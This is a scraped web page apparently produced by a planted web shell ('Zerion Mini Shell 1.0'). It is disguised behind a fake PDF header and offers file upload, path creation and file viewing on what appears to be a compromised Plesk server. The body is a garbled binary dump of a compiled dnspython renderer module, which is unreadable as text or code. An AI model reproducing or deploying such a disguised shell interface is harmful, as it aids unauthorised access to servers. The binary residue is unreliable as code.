%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib/python2.7/site-packages/dns/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib/python2.7/site-packages/dns/renderer.pyo

�
�ac@s�ddlmZddlZddlZddlZddlZddlZddlm	Z	dZ
dZdZdZ
defd	��YZdS(
i����(tBytesIONi(tlongiiitRenderercBs�eZddddd�Zd�Zd�Zejjd�Z	d�Z
d�Zdd�Zej
jd	�Zej
jd
�Zd�Zd�Zd
�ZRS(ii��cCs�t�|_|dkr0tjdd�|_n	||_||_||_||_i|_	t
|_ddddg|_|jj
d�d|_dS(Nii��sits(RtoutputtNonetrandomtrandinttidtflagstmax_sizetorigintcompresstQUESTIONtsectiontcountstwritetmac(tselfRR	R
R((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/renderer.pyt__init__Ms						cCs~|jj|�|jj�g}x9|jj�D](\}}||kr3|j|�q3q3Wx|D]}|j|=qfWdS(N(RtseekttruncateRtitemstappend(Rtwheretkeys_to_deletetktv((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/renderer.pyt	_rollback^s

cCs=|j|kr9|j|kr-tjj�n||_ndS(N(Rtdnst	exceptiont	FormError(RR((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/renderer.pyt_set_sectionms
cCs�|jt�|jj�}|j|j|j|j�|jjtj	d||��|jj�}||j
kr�|j|�tj
j�n|jtcd7<dS(Ns!HHi(R R
Rttelltto_wireRRRtstructtpackR
RRRtTooBigR(Rtqnametrdtypetrdclasstbeforetafter((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/renderer.pytadd_question|s

cKs�|j|�|jj�}|j|j|j|j|�}|jj�}||jkrw|j|�tj	j
�n|j|c|7<dS(N(R RR!R"RRR
RRRR%R(RRtrrsettkwR)tnR*((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/renderer.pyt	add_rrset�s
!
cKs�|j|�|jj�}|j||j|j|j|�}|jj�}||jkrz|j|�tj	j
�n|j|c|7<dS(N(R RR!R"RRR
RRRR%R(RRtnametrdatasetR-R)R.R*((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/renderer.pytadd_rdataset�s
	
c
Cs�|td�M}||d>O}|jt�|jj�}|jjtjddtj	j
||d��|dk	r�|jj�}x�|D]�}tjd|jd�}|jj|�|jj�}	|j
|j�|jj�}
|jj|	d�tjd|
|	�}|jj|�|jjdd�q�W|jj�}|jj|d�tjd||�}|jj|�|jjdd�n|jj�}||jkr�|j|�tjj�n|jtcd7<dS(	NI���is!BHHIHis!HHis!Hi(RR t
ADDITIONALRR!RR#R$Rt	rdatatypetOPTRtotypeR"RR
RRR%R(
Rtednst	ednsflagstpayloadtoptionsR)tlstarttopttstufftstarttendtlendR*((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/renderer.pytadd_edns�s8
!


c	Csk|jj�}	tjj|	||ttj��|||||d|�	\}
|_}|j|
|�dS(Nt	algorithm(	RtgetvalueRttsigtsigntintttimeRt_write_tsig(RtkeynametsecrettfudgeRt
tsig_errort
other_datatrequest_macRBtst
tsig_rdatatctx((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/renderer.pytadd_tsig�sc
Cs�|jj�}
tjj|
||ttj��|||||d|d|dkdtd|	�	\}|_	}|j
||�|S(NRQtfirsttmultiRB(RRCRRDRERFRGRtTrueRRH(RRQRIRJRKRRLRMRNRBRORP((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/renderer.pytadd_multi_tsig�s cCsS|jt�|jj�}|j|j|j|j�|jjtj	dt
jjt
j
jdd��|jj�}|jj|�|jj�}||jkr�|j|�t
jj�n|jj|d�|jjtj	d||��|jtcd7<|jjd�|jjtj	d|jt��|jjdd�dS(Ns!HHIHiis!Hii
(R R3RR!R"RRRR#R$RR4tTSIGt
rdataclasstANYR
RRR%RR(RRPRIR)trdata_startR*((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/renderer.pyRH�s"

 #c
Cst|jjd�|jjtjd|j|j|jd|jd|jd|jd��|jjdd�dS(Nis!HHHHHHiii(RRRR#R$RR	R(R((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/renderer.pytwrite_headers
cCs
|jj�S(N(RRC(R((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/renderer.pytget_wire sN(t__name__t
__module__RRRR RRXtINR+R/R2RARDtdefault_algorithmRRRVRHR[R\(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/renderer.pyR$s)		
		$		(tioRR#RRGt
dns.exceptionRtdns.tsigt_compatRR
tANSWERt	AUTHORITYR3tobjectR(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/renderer.pyt<module>s

Zerion Mini Shell 1.0